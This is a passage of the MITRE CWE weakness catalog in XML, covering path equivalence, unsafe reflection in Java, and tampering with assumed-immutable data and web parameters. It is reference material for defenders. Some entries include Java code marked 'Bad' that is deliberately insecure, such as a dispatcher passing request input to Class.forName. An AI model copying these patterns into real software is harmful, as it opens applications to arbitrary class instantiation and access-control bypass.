               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Improper Pointer Subtraction</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="47" Name="Path Equivalence: ' filename' (Leading Space)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of leading space (' filedir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Leading Space - ' filedir'</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Leading Space - ' filedir'</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-09-27">Path Equivalence: ' filename (Leading Space)</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="470" Name="Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.</Description>
         <Extended_Description>If the product uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the product to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the product's classpath (CWE-427) or add new entries to the product's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the product.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="610" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Class="Interpreted" Prevalence="Sometimes"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Reflection Injection</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>Alter Execution Logic</Impact>
               <Note>The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Other</Scope>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Other</Impact>
               <Note>The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the product to exit or hang.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Refactor your code to avoid using reflection.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Do not use user-controlled inputs to select and load classes or code.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Apply strict input validation by using allowlists or indirect selection to ensure that the user is only selecting allowable classes or code.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:</Intro_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>String ctl = request.getParameter("ctl");<xhtml:br/>Worker ao = null;<xhtml:br/>if (ctl.equals("Add")) {<xhtml:div style="margin-left:1em;">ao = new AddCommand();</xhtml:div>}<xhtml:br/>else if (ctl.equals("Modify")) {<xhtml:div style="margin-left:1em;">ao = new ModifyCommand();</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">throw new UnknownActionError();</xhtml:div>}<xhtml:br/>ao.doAction(request);</xhtml:div>
               </Example_Code>
               <Body_Text>A programmer might refactor this code to use reflection as follows:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String ctl = request.getParameter("ctl");<xhtml:br/>Class cmdClass = Class.forName(ctl + "Command");<xhtml:br/>Worker ao = (Worker) cmdClass.newInstance();<xhtml:br/>ao.doAction(request);</xhtml:div>
               </Example_Code>
               <Body_Text>The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control.</Body_Text>
               <Body_Text>One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String ctl = request.getParameter("ctl");<xhtml:br/>Class cmdClass = Class.forName(ctl + "Command");<xhtml:br/>Worker ao = (Worker) cmdClass.newInstance();<xhtml:br/>ao.checkAccessControl(request);<xhtml:br/>ao.doAction(request);</xhtml:div>
               </Example_Code>
               <Body_Text>Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple products, in larger products where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2004-2331</Reference>
               <Description>Database system allows attackers to bypass sandbox restrictions by using the Reflection APi.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2331</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Unsafe Reflection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC06-J</Entry_ID>
               <Entry_Name>Do not use reflection to increase accessibility of classes, methods, or fields</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="138"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unsafe Reflection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-05-27">Use of Externally-Controlled Input to Select Classes or Code (aka 'Unsafe Reflection')</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="471" Name="Modification of Assumed-Immutable Data (MAID)" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product does not properly protect an assumed-immutable element from being modified by an attacker.</Description>
         <Extended_Description>This occurs when a particular input is critical enough to the functioning of the application that it should not be modifiable at all, but it is. Certain resources are often assumed to be immutable when they are not, such as hidden form fields in web applications, cookies, and reverse DNS lookups.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Common data types that are attacked are environment variables, web application parameters, and HTTP headers.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Phase>Implementation</Phase>
               <Description>When the data is stored or transmitted through untrusted sources that could modify the data, implement integrity checks to detect unauthorized modification, or store/transmit the data in a trusted location that is free from external influence.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the code excerpt below, an array returned by a Java method is modified despite the fact that arrays are mutable.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String[] colors = car.getAllPossibleColors();<xhtml:br/>colors[0] = "Red";</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1757</Reference>
               <Description>Relies on $PHP_SELF variable for authentication.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1757</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1905</Reference>
               <Description>Gain privileges by modifying assumed-immutable code addresses that are accessed by a driver.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1905</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Modification of Assumed-Immutable Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="384"/>
            <Related_Attack_Pattern CAPEC_ID="385"/>
            <Related_Attack_Pattern CAPEC_ID="386"/>
            <Related_Attack_Pattern CAPEC_ID="387"/>
            <Related_Attack_Pattern CAPEC_ID="388"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Relationship">MAID issues can be primary to many other weaknesses, and they are a major factor in languages that provide easy access to internal program constructs, such as PHP's register_globals and similar features. However, MAID issues can also be resultant from weaknesses that modify internal state; for example, a program might validate some data and store it in memory, but a buffer overflow could overwrite that validated data, leading to a change in program logic.</Note>
            <Note Type="Theoretical">There are many examples where the MUTABILITY property is a major factor in a vulnerability.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Other_Notes, Potential_Mitigations, Relationship_Notes, Theoretical_Notes, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="472" Name="External Control of Assumed-Immutable Web Parameter" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The web application does not sufficiently verify inputs that are assumed to be immutable but are actually externally controllable, such as hidden form fields.</Description>
         <Extended_Description>
            <xhtml:p>If a web product does not properly protect assumed-immutable values from modification in hidden form fields, parameters, cookies, or URLs, this can lead to modification of critical data. Web applications often mistakenly make the assumption that data passed to the client in hidden fields or cookies is not susceptible to tampering. Improper validation of data that are user-controllable can lead to the application processing incorrect, and often malicious, input.</xhtml:p>
            <xhtml:p>For example, custom cookies commonly store session data or persistent data across sessions. This kind of session data is normally involved in security related decisions on the server side, such as user authentication and access control. Thus, the cookies might contain sensitive data such as user credentials and privileges. This is a dangerous practice, as it can often lead to improper reliance on the value of the client-provided cookie by the server side application.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="642" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="471" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Assumed-Immutable Parameter Tampering</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>Without appropriate protection mechanisms, the client can easily tamper with cookies and similar web data. Reliance on the cookies without detailed validation can lead to problems such as SQL injection. If you use cookie values for security related decisions on the server side, manipulating the cookies might lead to violations of security policies such as authentication bypassing, user impersonation and privilege escalation. In addition, storing sensitive data in the cookie without appropriate protection can also lead to disclosure of sensitive user data, especially data stored in persistent cookies.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
		 <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-5">
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
